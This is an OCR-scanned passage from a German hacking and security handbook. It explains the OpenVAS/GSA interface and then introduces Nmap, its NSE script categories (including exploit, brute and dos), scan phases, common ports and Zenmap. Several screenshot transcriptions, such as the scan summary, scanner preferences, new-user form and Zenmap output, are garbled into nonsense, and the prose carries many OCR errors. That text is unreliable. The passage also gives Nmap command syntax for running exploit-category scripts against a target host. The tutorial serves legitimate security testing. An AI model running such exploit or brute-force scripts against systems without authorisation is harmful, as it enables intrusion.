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Wenn Sie eine erste Aufgabe angelegt und dann ausgefiihrt haben, kénnen Sie aus
der Task-Ubersicht heraus mit einem Klick auf den Scan-Eintrag eine Zusammen-
fassung des Testdurchlaufs abrufen.
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arget la~gzt for immzdiazz sen of I+ 192,158,210 ::""’“‘d:”“”” CH R LU
e nor acmn

Se-edu e Neat doee aver)

A Lo Assels pes

Al zizble Task o

Scanne~ Jpenvihs Cefaut | Type JPENVAS Szan-er)
Sczan Zzoflg Sl anc fast

&

Orde-ba-Fag=t has-= hj&
Hetwors Souve Intrrece

Masirmom czneocee Ly sxeouled NGTs per hosl. 1o

asirn e Uy seaned hosls, 37
Status: —wER |
lezorts: LiFmared: 1 _asz _un 25 20151
Hote:z: M
Cve Tid= s

User Tags for ‘Immedlate scan of IP 192.168.2.1°: nonc 8 @

rermlsslons for "immedlate scan of IP 192.168.2.1": nonc

Grant | 1=ed 2| permissione o Lue D |

Die Zusammenfassung des er sten Tests.

2.3 Berichte interpretieren

Die Testzusammenfassung prasentiert |hnen insbesondere in der Zeile Reports den
Link zu den Ergebnissen und der Risikoeinteilung. Wenn Sie sich fur weitere De-
tails eines Berichts interessieren, klicken Sie in der Task-Zusammenfassung erneut
auf den jewieligen Scan-Eintrag. Auf der zugehtrigen Seite finden Sie zunédchst
eine Zusammenfassung der wichtigsten Berichtdaten.

Uber den Bereich Filter kénnen Sie die im Bericht enthaltenen Informationen
bei spielsweise auf bestimmte Risikostufen beschranken. Die Details eines Berichts
offnen Sie, indem Sie in der Berichtliste einen Eintrag 6ffnen. Den Details kdnnen
Sie dann die Verwundbarkeiten und den Schweregrad entnehmen.
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Die Berichtdetails.

Ein wesentliches Element eines anspruchsvollen Schwachstellenmanagements ist
das Erstellen und Verwalten von Notizen. So kénnen Sie die Detailinformationen
um wichtige Zusatzinformationen erganzen. Der GSA stellt lhnen eine leistungsfé
hige Notizfunktion zur Verfiigung. Das Besondere daran: Ihre Anmerkungen kén-
nen auch in die Berichtexporte aufgenommen werden.

Das Anlegen ist einfach: Klicken Sie in der Ergebnidiste auf das Icon Add Note
und bestimmen Sie im New Note-Dial og die Eigenschaften der Notiz.
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zevorty rosult_hestz_ony=1 min_ovs:

L tmestamps A5 did_ggd_ zeneralfzop
ICMP T ines 2 mip Desilizn g 102.268.2.2 seneralf un:
arachm (NBEL wrappzr H A Li2.eg. 2 general’zcp
TTaceto.ta . E B.2.Z zeneralizzp

DNS Server J=tec- an

Das Hinzufligen einer Notiz.
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Fir das Hinzufligen von Notizen steht Thnen das Eingabefeld Text zur Verfligung.
Mit einem Klick auf die Schaltflache Create Note legen Sie die Anmerkung an.
Diese wird am Ende des Bereichs angehangt.

Nach dem Hinzufiigen der Notiz finden Sie diese in der Notes-Verwaltung. Dort
wird Sie tabellarisch samt NVT und einem Auszug aufgefihrt. Auch das Bearbei-
tenist Uber die Actions-Spalte mdglich.
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Eineerste Notiz entsteht.

Der Bereich Configuration dient der Konfiguration der Scans. Hier bestimmen Sie,
welche Testskripts (NVT) ausgefihrt, welche Ziele ins Visier genommen und
welche Zugangsdaten fir lokale Tests verwendet werden. Aullerdem konnen hier
Agents (Drittanwendungen) sowie Warnungskriterien definiert und zeitliche Steu-
erungen angelegt werden.
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Die Ubersicht der Scan-K onfiguration.

2.4 Scan-Konfiguration

Wenn Sie im Bereich Configuration dem Link Scan Configs folgen, landen Sie in
einem umfangreichen Formular, das lhnen das Erstellen neuer Scan-
Konfigurationen erlaubt. Auch der Import von bestehenden Konfigurationen ist
maoglich, solange diese XML-basiert sind.

Esfolgt die Ubersicht der eigentlichen Scan-Konfigurationen. In diesen konnen Sie
nach Belieben und Anforderungen Testskripts zusammenfassen. Der GSA kommt
bei einer Standardinstallation mit sechs vordefinierten Scan-Konfigurationen da-
her, deren Bezeichnungen oben schon gefallen sind. Die ersten vier sind identisch
konfiguriert, kbnnen aber nicht editiert und auch nicht geléscht werden. Auch die
|eere Konfiguration kann nicht gel éscht werden.

Interessante Zusatzinformationen liefern Ihnen brigens die Spalten Families und
NVTs. Hier werden Ihnen die Anzahl der verwendeten Scan-Familien und Skripts
sowie die Trends angezeigt.
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Das Editieren einer ersten eigenen Scan-K onfiguration.

Die Vorgehensweise beim Erstellen und Einrichten einer Scan-Konfiguration ist
einfach: Erstellen Sie zundchst mit einem Klick auf das Symbol New Scan Config
einen neuen Eintrag. Dann editieren Sie diesen in der Konfigurationsiibersicht. Sie
landen im Dialog Edit Scan Config. Der fuhrt die verfigbaren Familien auf und
erlaubt Uber die Action-Spalte auch die Auswahl von einzelnen Skripts. Unterhalb
der Familienliste finden Sie die Scanner-Einstellungen. Auch diese Einstellungen
kénnen Sie entsprechend Ihren Vorstellungen bearbeiten. Weiter unten folgen die
Skript-Einstellungen — soweit verfugbar.
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Edit Scanner Preferences

neme ], S
zuto_enanle dependencies yes

ogi_path Jegi-bin:/ccripts
checks_read_timeout B
kb_dont_rcplav_attacks no
kb_dont_rcplay_denias no
kb_dont_replay_info_gsthering no
kb_dont_replay_scanners no
kb_mas_age 864000
kb_restcrs no
log_whole_zstrack no
max_chedks 4

max_hosts 20

Das Bearbeiten der Scanner -Einstellungen.

Wenn Sie eine Scan-Konfiguration einer Aufgabe zugewiesen haben, dann wird
auch das am Ende der umfangreichen Formularseite angezeigt. Auf die Details der
unzahligen Einstellungen muss an dieser Stelle nicht mehr eingegangen werden,
denn die sind im FreeBook OpenVAS kompakt (http://www.brain-
media.de/freebooks.html) detailliert beschrieben.

In der Kategorie Scan Management erfolgt das Anlegen und Verwalten der Ziele.
Auch das ist einfach. Um ein neues Ziel anzulegen, klicken Sie auf das Task Wi-
zard-Symbol und wahlen eine der drei Optionen aus:

Task Wizard - eignet sich fiir das Anlegen eines Hosts

Advanced Task Wizard — verwenden Sie diese Option, um mehrere Hosts
mit spezifischen Scan-Einstellungen anzulegen

Modify Task Wizard — dient dem Bearbeiten einer bereits angelegten
Scan-Konfiguration

Am flexibelsten sind Sie, wenn Sie den erweiterten Task-Assistenten verwenden.
Hier weisen Sie der Zielkonfiguration eine Bezeichnung, optional eine Beschrei-
bung und die Ziele selbst zu. Optional kénnen Sie auch bereits angelegte Creden-
tials fur die Ausfuhrung lokaler Scans nutzen. Mit einem Klick auf die Schaltflache
Create Target legen Sie die Zielkonfiguration an.
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Das Anlegen einer neuen Zielkonfiguration.

Nach dem Anlegen zeigt Thnen der GSA — wie bei fast allen durchgefiihrten Aktio-
nen — die ausgefiihrten Kommandos im Kopfbereich und unterhalb die erweiterte
Zieltabelle an. Ein Bearbeiten eines Zieleintrags ist bislang Ubrigens Uber die Acti-
ons-Spalte nicht mdglich. Sie kénnen lhre Ziele lediglich |éschen und einsehen.

OpenVAS kann bel bestimmten Ereignissen Alarm schlagen und Sie dartiber in-
formieren. So entgehen Ihnen keine wichtigen Informationen. Hinter dem Begriff
Alterts verbirgt sich die Konfiguration fir Hinweismeldungen, die beim Eintreten
definierbarer Ereignisse ausgegeben werden. Diese Meldungen kénnen den Aufga-
ben zugewiesen werden. Die Nutzung ist ebenfalls sehr einfach, denn das zugeho-
rige Formular erlaubt das Anlegen und das Verwalten der Einstellungen.

Um einen ersten Alters-Eintrag zu erstellen, weisen Sie diesem eine Bezeichnung
und optional wieder einen Kommentar zu. Im Auswahlmenii Event bestimmen Sie,
welche Statusanderung die Ausgabe bewirkt. Sie haben die Wahl zwischen folgen-
den Eintrégen:

Delete Requested
Done

New

Requested

Running
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Das Anlegen einer Hinweismeldung.

Als Kondition kdnnen Sie sich zwischen zwei Optionen entscheiden:

Always. Die Warnung wird immer ausgegeben

Severity: Die Bewertungsstufe muss mindestens den tber das Auswahl-
meni zu bestimmenden Wert besitzen. Alternativ kdnnen Sie einen Level
bestimmen. M égliche Werte sind Changed, Increased und Decreased.

Im Bereich Method bietet der GSA hislang nur die Mdglichkeit, die Warnung per
E-Mail an eine bestimmte E-Mail-Adresse mit der im Eingabefeld From Address
anzugebenden Absenderadresse zu verschicken. Beim E-Mail-Versand kénnen Sie
unter Format auRerdem festlegen, ob lediglich eine einfache Notiz oder eine Zu-
sammenfassung (womdglich mit Details zu den Verwundbarkeiten) versandt wird.
In Zukunft sind vielleicht auch SMS-Meldungen mdglich. Die Konfiguration legen

Sie mit einem Klick auf die Schaltflache Create Altert an.
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Der Zeitplaner erlaubt die zeitlich gesteuerte
Ausfiihrung von Sicher heits-Scans.

Ein echtes Highlight des GSA ist der Scheduler. Er erlaubt die zeitlich gesteuerte
Ausfiihrung lhrer Scans. Sie legen einfach durch Angabe einer moglichst aussage-
kréftigen Bezeichnung den Zeitpunkt der ersten Ausfihrung, der Wiederholung
und die Dauer die Eigenschaften fest. Diese Steuerung kénnen Sie dann in der

Aufgabenverwaltung Ihren Eintrégen zuweisen.

In der Aufgabenverwaltung erkennen Siein der Actions-Spalte direkt, welche
Auftrage zeitlich gesteuert und welche manuell ausgefiihrt wer den.

2.5 Administrative Aufgaben

Mit dem Bereich Administration folgen die Einstellungen, fir die der OpenVAS-
Administrator zustandig ist: die Benutzerverwaltung und die Feed-Aktualisierung.
Das Highlight ist sicherlich die Benutzerverwaltung, mit der das Anlegen und
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Bearbeiten von neuen bzw. bestehenden Benutzern einfach wird. Um neben dem
bereits erzeugten OpenV AS weitere Benutzer einzufiihren, folgen Sie in der Navi-
gationdeiste dem Link Users. Weisen Sie im Bereich New User dem Benutzer
einen Login-Namen und ein Passwort zu. Der Login-Name darf maximal 80 Zei-
chen, das Passwort hchstens 40 Zeichen lang sein.

New User‘-

Legin Name |NeuerUfer J

Password [

Roles (optional) [Admin gl 1. |

Groups (optional) TC _+ |

finsticeass @) plicw all ard deny: O Deny all and allow:
I ]

Inter-ace Access '.é'AIIcw Sl aiia ."_'. Bereal el Silew

Das Anlegen eines neuen OpenVAS-Benutzers.

Im Auswahlmenti Role bestimmen Sie die Rolle. Sie haben die Wahl zwischen den
Optionen User und Admin. Bestimmen Sie als Néchstes den Host-Zugriff. Mit
einem Klick auf Create User legen Sie den ersten neuen Benutzer an. Sie landen
automatisch in der Benutzeribersicht und kdnnen dort die Benutzer bearbeiten,
|6schen und weitere anlegen.

Hinter dem Administration-Link NVT-Feed verbirgt sich eine einfache Funktion:
Sie kénnen mit einem Klick auf die Schaltflache Synchronize with Feed now Ihre
lokale Skripts-Sammlung auf den neuesten Stand bringen. Dafur sind alerdings
Admin-Berechtigungen erforderlich.

Nachdem Sie mit einen Security Scanner wie OpenVAS das bzw. die Zielsysteme
unter die Lupe genommen haben, bieten Ihnen die Berichte bereits eine gute Basis
an Informationen. Diese gilt es in einem weiteren Schritt zu verfeinern und zu
erganzen. Hierbei ist Ihnen Nmap eine wertvolle Hilfe.

Hacking kompakt



38 Schwachstellen aufdecken

www.brain-media.de



Alles Wichtige Uber Nmap 39

3  Angriffspunkte Ports

Auf der Suche nach Schwachstellen und moglichen Angriffspunkten sind die Ports
der zweite wichtige Ansatzpunkt. Um mehr Uber die Ports, deren Verwendung und
deren Status zu erfahren, bendtigen Sie einen Portscanner. Der Klassiker unter
diesen Werkzeugen ist Nmap.

Nmap (http://nmap.org) gehodrt schon seit Jahren zum Werkzeugkasten eines jeden
Systemadministrators. Bei der Durchfiihrung von Penetrationstests fuhrt an dem
Klassiker kaum ein Weg vorbei. Dabel stellt der Spezialist bereits standardmafiig
eine beeindruckende Palette an Testskripts zur Verfligung. Doch Nmap bietet noch
mehr as die smple Ausfihrung von vordefinierten Skripts. Mit der Nmap Scrip-
ting Engine, kurz NSE, steht Ihnen das vielleicht machtigste und flexibelste
Merkmal von Nmap zur Verfigung: Sie kdnnen mit der Engine eigene Skripts
ausfiihren und damit verschiedenste Aufgaben beim Scannen und Analysieren
automatisieren.

Die Skripts basieren auf der Programmiersprache Lua (http://mwww.lua.org), einer
schnell zu erlernenden Sprache, die sich perfekt flr das Entwickeln von Testskripts
geeignet. Nmap fuhrt diese Skripts parallel mit hoher Geschwindigkeit und Effi-
Zienz aus. Die meisten Nmap-Anwender verwenden das Tool fur einfache Port-
Scans und zur OS-Erkennung, aber NSE bringt das Scannen mit Nmap auf einen
neuen Level. So kénnen mit der Scan-Engine beispielsweise SQL Injektion-
Verwundbarkeiten und mogliche Brute Force-Angriffspunkte identifiziert werden.

3.1 Alles Wichtige tber Nmap

Nmap verfugt bereits weit Uber 100 Standardskripts. Die Kernfunktionen von
Nmap sind das Netzwerk-, Versions- und Verwundbarkeitserkennung. Mit NSE
gehen Sie dann den néchsten Schritt und kdnnen diese Schwachstellen konkret
ausnutzen und sich beispielsweise Zugriff auf ein System verschaffen. Damit An-
wender den Uberblick besser behalten, haben die Entwickler die Skripts in ver-
schiedene Kategorien unterteilt. Anhand der Kategorienbezeichnung kann man den
Aufgabenbereich erkennen: auth, broadcast, brute, default, discovery, dos, exploit,
external, fuzzer, intrusive, malware, safe, version und vuln.

Das Nmap-Entwickler-Team, allen voran David Fifield, wollte friihzeitig eine
vielseitig einsetzbare Umgebung anlegen, die Anwendern mehr Funktionen an die
Hand gibt, als nur die einfache Ausfihrung von Testskripts. Die Kernfunktion von
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Nmap ist und bleibt das Scannen von Netzwerkkomponenten. Das fihrt NSE fort
und bietet vielféltige Look-up-Funktionen auf Grundlage der Zieldomain. Mit
Nmap kdnnen Sie offene Ports und verfiigbare Freigaben (NFS, SMB und RPC)
identifizieren.

Das Nmap-Versionserkennungssystem kann Tausende unterschiedliche Services
identifizieren. Dabei greift der Scanner auf Tests und ein Ubereinstimmungssystem
zuriick, das auch die Verwendung von reguldren Ausdriicken erlaubt. Nmap kann
SNMP-Dienste zuverlassig erkennen und Brute-Force-Schwachstellen ausmachen.
Beide Mdglichkeiten sind einfach mit der NSE und entsprechenden Testskripts
nutzbar.

Zwar ist Nmap kein Sicherheitsscanner ala Nessus oder OpenVAS, aber Dank der
Scripting-Engine kénnen Sie auch einfache Verwundbarkeitstests durchfiihren.
Aktuell sind bereits verschiedene solcher Skripts in Nmap enthalten, aber die Ent-
wickler planen, den Bestand auszubauen.

Nmap und die NSE taugen auch zur Backdoor-Erkennung. Hacker und Wirmer
hinterlassen nach Attacken meist einen Hintereingang, um sich bei erneuten Zu-
griffen einfacher Zugriff auf Systeme zu verschaffen. Die Nmap-Skripts kdnnen
diese erkennen — nicht alle, aber doch viele. Die NSE kann auch zur Identifikation
von komplexen Wirmern und Backdoors verwendet werden.

NSE kann als allgemeine Skripting-Umgebung natirlich auch zur Ausnutzung der
erkannten Schwachstellen verwendet werden. |nsbesondere fur Penetration-Tester
ist die M&glichkeit interessant, Exploit-Skripts anzuwenden. Die Entwickler planen
alerdings nicht, Nmap in ein vollsténdiges Exploitation-Framework wie Metasp-
loit zu verwandeln. Aber es ist gut zu wissen, dass man Nmap mit der NSE auch
hierfir verwenden kénnte. Um in die Entwicklung eigener Nmap-Skripts einzus-
teigen, missen Sie die Engine zunéchst aktivieren. Bel einer bestehenden Nmap-
Installation ist das einfach: Sie verwenden die Option -sC. Die Ergebnisse der
Skriptausfiihrung werden in Nmap integriert.

NSE-Skripts besitzen die Dateierweiterung NSE und sind bei einer Standard-
Nmap-Installation im Verzeichnis /usr/share/nmap/scripty zu finden. Um ein
spezifisches NSE-Skript auszuftihren, verwenden Sie folgende Syntax:

nmap --script <script_nane. nse> <zi el host >

Wenn Sie ein Skript unter Angabe des Pfads anwenden wollen, so verwenden Sie
hierfir folgenden Befehl:

nmap --script </pfad/zum skript/skript_name.nse> <zij el host>
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Wenn Sie sich an die Erstellung eigener Skripts machen, sollten Sie diese nicht
direkt auf die Menschheit loslassen, sondern testen, ob auch tatséchlich die ge-
winschte Aktionen dabei ausgefiihrt werden. Die Nmap-Entwickler stellen hierfr
explizit einen Testserver unter der Domain scanme.nmap.org zur Verfigung. Ver-
wenden Sie fur die ersten Evaluierungen folgenden Befehl:

nmap --script </pfad/benutzerdefiniertes_nse_script.nse>
scanme. nmap. or g

Bei den ersten Gehversuchen ist es zudem sinnvoll, das Debugging zu aktivieren.
Hierzu verwenden Sie die Option -d, ergénzt um den Wert 1 bis 9. Ein Beispiel:

nmap -sV --script exploit -d3 <ziel host>

Je hoher der Debug-Wert gesetzt ist, umso geschwétziger ist die Ausgabe.

NSE-Skripts besitzen eine klar definierte Struktur. Die wird am deutlichsten, wenn
man einen Blick auf ein bereits existierendes Skript wirft. In den Skripts sind nicht
nur die durchzufiihrenden Tests und Aktionen definiert, sondern auch die Ausgabe.
Nmap und NSE kennen vier verschiedene Skript-Typen, die durch eine unter-
schiedliche Ausfuhrungsregel gekennzeichnet sind:

prerule
postrule
portrule

hostrule

Die prerule-Skripts werden vor den eigentlichen Scan-Vorgéangen ausgefuhrt. Sie
konnen beispielsweise zum Sammeln von Service-Informationen verwendet wer-
den. Einige dieser Skript-Typen bestimmen damit auch neue Ziele, die dann von
Folge-Skripts analysiert werden.

Das Skript targets-sniffer.nse priift beispielsweise mit dieser Regel, ob Nmap im
privilegierten Modus ausgefiihrt wurde und ob der Scanner die Netzwerkschnitt-
stelle korrekt bestimmen kann:

prerule = function()
return nmap.is_privileged() and
(stdnse.get _script_args("targets-sniffer.iface") or

nmap. get _interface())
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Die Postrule-Skripts werden ausgefiihrt, nachdem Nmap ale Ziele gescannt hat.
Sie sind beispielsweise sinnvoll fir die Formatierung und Prasentation des Nmap-
Outputs. Eines der bekanntesten Postrule-Skripts ist ssh-hostkey. Es stellt eine
Verbindung zu einem SSH-Server her, liest den 6ffentlichen Schllissel aus und gibt
ihn aus. Diese Regel ist wiefolgt definiert:

postrule = function() return (nmap.registry.sshhostkey ~=

nil) end

Die sogenannten Service-Skripts enthalten die portrule-Funktion, die herauszufin-
den versucht, welche Services auf dem Ziel-Host mit welchen Ports ausgefihrt
wird. Nmap verfigt beispielsweise Uber 15 Skripts fir die Prifung von HTTP-
Services auf Webservern. Wird auf einem Host ein Webserver mit verschiedenen
Ports ausgefiihrt, so wird das Skript mehrfach ausgefiihrt — und zwar einmal pro
Port.

Der vierte Skript-Typ im Bunde nennt sich Host-Skript. Dieser Typ kommt in der
Regel dann zum Einsatz, wenn Nmap bereits Discovery-, Port-, Versions- oder
Betriebssystem-Scans ausgefuhrt hat. Hierfr wird die hostrule-Funktion verwen-
det. Ein Beispiel ist whois, das nach der Zielauswahl mehr Uber den Eigentimer
eines Zielsystems in Erfahrung bringt, oder path-mtu, das die maximale IP-
PaketgrofRe bestimmt, die ein Ziel annimmt.

Die Scan-Vorgange, die Nmap ausfuhrt, sind durch verschiedene Phasen gekenn-
zeichnet. Die sollten Sie kennen, damit Sie genau wissen, in welcher Reihenfolge
der Scanner welche Aktionen Ublicherweise ausfiihrt und welche Schritte gegebe-
nenfalls Ubersprungen werden kdnnen. Phase 1 wird als Pre-Scanning bezeichnet.
Sie wird nur dann ausgefihrt, wenn Sie die Optionen -sC oder --script verwenden.
Dabei wird versucht, tber NSE-Skripts zusétzliche Informationen tber das Ziel zu
erhalten.

In der zweiten Phase 16st Nmap die Hostnamen der Ziele auf, damit mit der IP-
Adresse weiter gearbeitet werden kann. In der dritten Phase findet Nmap dann
heraus, ob das bzw. die Ziele erreichbar sind oder nicht. Dazu werden verschiedene
Discovery-Techniken verwendet. Sie kénnen diese Phase auch mit der Option -Pn
Uberspringen. Es folgt Phase vier: die Reverse DNS-Aufldsung. Hier fihrt Nmap
einen Reverse-Lookup durch, um den Hostnamen jedes Ziels zu erhalten. Sie kon-
nen diese Phase mit der Option -R erzwingen und mit -n Gberspringen. Es folgt in
Phase fiinf das Port-Scanning — die klassische Aufgabe des Portscanners. In dieser
Phase bestimmt Nmap den Status der zu analysierenden Ports. Auch diese Phase
kénnen Sie Uberspringen, indem Sie die Option -sn verwenden.
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In der néchsten Phase erfolgt eine erweiterte Versionserkennung fur die gefunde-
nen offenen Ports. Diese Phase wird nur dann ausgefihrt, wenn Sie bei der Nmap-
Ausfiihrung das Argument -sV angeben. Es folgt die siebte Phase, in der Nmap
sich an die Ermittlung des Betriebssystems macht, das auf dem bzw. den Ziel-
Hosts ausgefuihrt wird. Diese Prifung erfolgt nur dann, wenn Sie die Option -O
verwenden.

Drei weitere Phasen kdnnen bei Nmap-Scans noch durchlaufen werden. Die néch-
ste ist die Traceroute-Phase, in der der Portscanner die Route zu den Hosts ermit-
telt. Diese Phase verlangt die Verwendung der Option --traceroute. In der vorletz-
ten Phase kommen endlich die NSE-Skripts zum Einsatz. In dieser Phase wird
auch der Output auf Basis der in dem Skript hinterlegten Ausgabekonfiguration
generiert.

Nmap formatiert die gesammelten Informationen und gibt Sie aus. Die letzte Phase
wird auch als Post Scanning bezeichnet. Hier werden die in NSE-Skripts definier-
ten Post-Scans durchgefuihrt. Sind keine weiteren abschlief3enden Priifungen defi-
niert, wird auch diese Phase weggel assen.

NSE-Skripts werden immer einer Kategorie zugeordnet. Das vereinfacht insbeson-
dere Dritten die Beurteilung, ob ein Skript fir ein bestimmtes Szenario geeignet
oder weniger geeignet ist. Die Kategorien mussen Sie kennen, damit Sie lhre
Skripts Uber die Header-Konfiguration korrekt zuordnen kénnen. Nachstehende
Tabelle fasst die verschiedenen Kategorien zusammen;

Kategorie Kurzbeschreibung

auth Diese Skripts hantieren mit Authentifizierungsdaten und versu-
chen, die Authentifizierung auf dem Zielsystem zu umgehen.
Beispiele hierfiir sind x11-access, ftp-anon und oracle-enum-
users. Ausgenommen sind Skripts fiir Brute Force-Attacken.

broadcast Skripts dieser Kategorie fiihren Broadcasts aus, um bisher noch
nicht identifizierte Hosts im lokalen Netzwerk zu identifizieren.

Mit dem Argument newtargets werden neu erkannte Host auto-
matisch der Scan-Warteschlange hinzugefugt.

brute Skripts dieser Kategorien fiihren Brute Force-Attacken durch,
um an die Zugangsdaten des Zielsystems zu gelangen. Nmap
verflgt Uber Dutzende solche Skripts fir verschiedene Protokol-
le, beispielswese http-brute, oracle-brute und snmp-brute.

default Hierbei handelt es sich um Standard-Skripts, die zum Einsatz
kommen, wenn sie Nmap mit den Optionen -sC oder -A ausfiih-
ren.
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Kategorie Kurzbeschreibung

discovery Dieses Skripts versuchen aktiv, mehr ber das Netzwerk zu
erfahren, indem Sie beispielsweise 6ffentliche Register, SNMP-
fahige Gerate, Verzeichnisdienste etc. abfragen. Beispiele hier-
fur sind html-title, das den Titel einer Webseite erhalt, oder smb-
enum-shares, das Windows-Freigaben einliest.

dos Skripts, die dieser Kategorie angehoren, kdnnen Denial of Servi-
ce verursachen. Urséchlich dafir ist meist das Testen von Ver-
wundbarkeiten. Dabei ist der Absturz der Dienste in der Regel
eher ein unerwiinschter Nebeneffekt als das Hauptziel.

exploit Diese Skripts nutzen Verwundbarkeiten gezielt aus.

external Die Skripts dieser Kategorie kénnen Daten an externe Daten-
banken und Netzwerkdienste senden. So kann Nmap beispiels-
weise einen Whois-Server nach weiteren Informationen tber ein
Zielsystem abfragen.

fuzzer Diese Skripts senden unerwartete oder zuféllige Felder in jedem
Paket, das an das Zielsystem Ubermittelt wird. Diese Technik
kann dazu dienen, unerwartete oder unbekannte Schwachstel-
len in den Zielen zu identifizieren. Ein Beispiel hierfir ist dns-
fuzz, das einen DNS-Server mit unbekannten Requests konfron-
tiert, bis dieser entweder abstiitzt oder die Verbindung unterb-
richt.

intrusive Diese Skripts kénnen nicht der Kategorie safe zugeordnet wer-
den, weil hier das Risiko recht hoch ist, dass das Zielsystem
abstirzt. Ursachen kdnnen die Verwendung von erheblichen
Ressourcen oder die Ausnutzung bestehender Schwachstellen
sein. Wenn Sie lhre eigenen Skripts nicht einer spezifischen
Kategorie zuordnen kodnnen, sollten Sie als safe oder intrusive
klassifizieren.

malware Mit Hilfe dieser Skripts kdnnen Sie herausfinden, ob das Zielsys-
tem bereits von Malware oder Backdoors befallen ist. Beispiele
hierfur sind smtp-strangeport, das SMTP-Server auf Schadlinge
Uberprift, und auth-spoof, das ldentd-Spoofing-Daemonen iden-
tifziert.

safe Diese Skripts gelten als sicher und verfolgen nicht die Intension,
die Ziele in Mitleidenschaft zu ziehen. Sie verbrauchen aller-
dings betrachtliche Netzwerkbankbreite oder andere Ressour-
cen. Beispiele hierfir sind ssh-hostkey, das den SSH-Schlussel
abfragt oder html-title, das den Titel einer Webseite einliest.
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Kategorie Kurzbeschreibung

version Diese Skripttypen sind eine Erweiterung der Versionserkennung,
kénnen aber nicht explizit ausgewahlt werden. Sie werden nur
dann ausgefiihrt, wenn Sie die Versionserkennung mit -sV akti-
viert haben. Beispiele sind skypev2-version, pptp-version und
iax2-version.

vuln Mit dem letzten Skripttyp priifen Sie spezifische bekannte Ver-
wundbarkeiten. Eine Berichtausgabe erfolgt allerdings nur dann,
wenn auch Schwachstellen identifiziert werden konnten.

Die Steuerung von Nmap kann auf der Konsolenebene erfolgen, aber weitaus ein-
facher ist das Scannen mit Hilfe der GUI Zenmap, die auch Bestandteil von Kali
Linux ist. Mit dieser grafischen Benutzerschnittstelle ist es deutlich einfacher,
mehr Uber Ihr Gegentiber zu erfahren. Bevor wir uns mit dieser Schnittstelle befas-
sen, bendtigen Sie noch ein wenig Hintergrundwissen tber Ports und mogliche
Schwachstellen.

Nmap ist ein Portscanner, der Ihnen verschiedenste Informationen Uber Ports lie-
fert. Doch was hat es genau mit diesen Ports auf sich? Und wie kénnen potenziel-
len Angreifer Informationen Uber diese nutzen?

Prinzipiell kennt man drei Kategorien von Portnummern. Die sogenannten Well
known ports (0-1023) werden von IANA (Internet Assigned Numbers Authority)
vergeben. Diese Ports werden von bestimmten System-Prozesse und Anwendung-
en genutzt, beispielswiese von FTP, HTTP, IMAP, POP3, SMTP und Telnet. Da-
bei nutzen TCP und UDP (meist) die gleichen Portnummern. IANA hat auf3erdem
die sogenannten Registered Ports (1024-49151) eingefhrt.

Hier einige Beispiele fur Well known Ports:
20 — FTP-Datentransfer vom Server zum Client
21 — FTP-Steuerbefehle durch den Client
23 — Telnet-Kommunikation
25 - SMTP-Mail-Versand
53 — DNS-Auflésung von Domainnamen in IP-Adressen
80 — HTTP-Webserver
110 - POP3-Client-Zugriff auf E-Mail-Server
143 - IMAP
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194 - IRC

389 - LDAP

443 - HTTPS

666 — DOOM-Online-Spiel
901 - SWAT

989 — FTPS-Daten

990 — FTPS-Steuerbefehle

Software-Hersteller verwenden registrierte Ports fir Programme, die ein Anwender
installiert. Ein bekannter registrierter Port ist beim SIP (Session Initiation Protocol)
der Port 5060. MySQL-Datenbanken verwenden meist 3306. AulRerdem gibt es
Alternativen zum Standard-Port, beispielswiese 8008 und 8080 fur den Standard-
Webserver-Port 80.

Ein Port kann man sich bildlich wie eine Nebenstellennummer einer Telefonanlage
vorstellen, unter der ein bestimmter Dienst oder eine bestimmte Anwendung ver-
flgbar ist.

Sie kdnnen die aktuelle Belegung eines Computers einfach einsehen. Auf einem
Linux-Rechner finden Sie die Portliste unter /etc/services, bel einem 32Bit-
Windows-System unter %W NDIR%\system32driver s\etc\services.

Es gibt eine weitere Klasse: die Dynamic oder Private Ports. Diese Ports sind frei
verwendbar und keinem Service zugeordnet. Die vollstandige Liste der Port-
Nummern finden Sie bei der IANA unter folgender URL :

http://ww. i ana. or g/ assi gnnent s/ servi ce- nanes- port -
nunber s/ servi ce- nanmes- port - nunber s. xm

Um ein System sicher zu machen, sollte man ale jene Ports schlief3en, die man
nicht benétigt. Doch dazu missen Sie zunéchst wissen, welche Ports offen und
welche geschlossen sind. Genau dabel unterstiitzt Sie Nmap. Offene Ports sind
immer eine Art Eingang zu einem System. Und wenn die dahinter befindlichen
Dienst Sicherheitdlticken aufweisen, so sind die Dienste recht einfach angreifbar.

Um zu erkennen, wie viele Ports auf Ihrem System verfligbar sind, verwenden Sie
einfach unter Windows auf der Konsolenebene den Befehl netstat-ano, unter Linux
den Befehl netstat -nlo. Sie werden nicht schlecht staunen, angesichts der langen
Ausgabenliste. Jeder unsicherer Port ist ein potenzieller Angriffspunkt, der von
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Angreifern genutzt werden kann. Da Hacker ebenfalls Port-Scanner wie Nmap
einsetzen, um unbekannte Netzwerke auf erste erfolgversprechende Angriffspunkte
hin zu prifen, sollten Sie auch mit diesem Tool vertraut sein.

3.2 Mit Zenmap arbeiten

Bel Zenmap handelt es sich um die offizielle GUI fir den Nmap Security Scanner.
Die GUI ist wie Nmap Open Source und erlaubt die komfortable Steuerung von
Nmap. Uber die GUI kénnen Sie die Nmap-spezifischen Befehle ausfilhren und die
Ergebnisse prufen. Die Ergebnisse der Sicherheitschecks kdnnen gesichert und
miteinander verglichen werden. Zenmap speichert die Ergebnisse vorheriger Scans
in einer durchsuchbaren Datenbank.

Zenmap - | O
Scan Weikewage Frofil Hille
Ziel: |.oczlnost ~ | Profi: |lIrtensc scan iVI Scan
Befekl  nmzap T4 A v iaczlanss
Rechner .Dicnsm, Mman Ausgahe | Foole [ Recqnes | Melssliuklor | Rechner-Delails | Seans
Retriehssystam R ||pman T4 A wloralhast z | Jetzils |
[ C— L i =
T S Stertzrg Mras 6.47 { Pttp://nras.cry ) oat 2015-06-30 11:82 CLST
BSE: Lcadoc 118 scrip.s “ur scaning.
NSL: Script ®-e-scaqning.
Inilia ing 5%k Stedlll Scen a. 12:62
Scenazrg lecs_hasT (127.0.0.1)0 [1E33 ports]
Dorple. nd 8YY Sleslth Scar al 11:62, € J6s olanscd (1800 Inlsl porls)
lnitiazing 5= € scan &t 12:682
Tritia=iag 05 datert-an (~ry #1) aga rst “aca aost (127.60.0.1)
JeTryzrg 05 detaction (try £2) ageisst localhost (12/.0.8.1]
NSF: ScripT scasning 127.60.6.1.
lnitiaziag M3k at 11:€3
CorpleTed K&= ar 11:03, 0.835 elapsed
Nnmep scan excrt for locachost (124.0.0.10
dost c= p (A.RIOEE3S 1atency)
Jtlhar eddresses ~cr loccallost (o7 scenhec): 12£.0.0.1
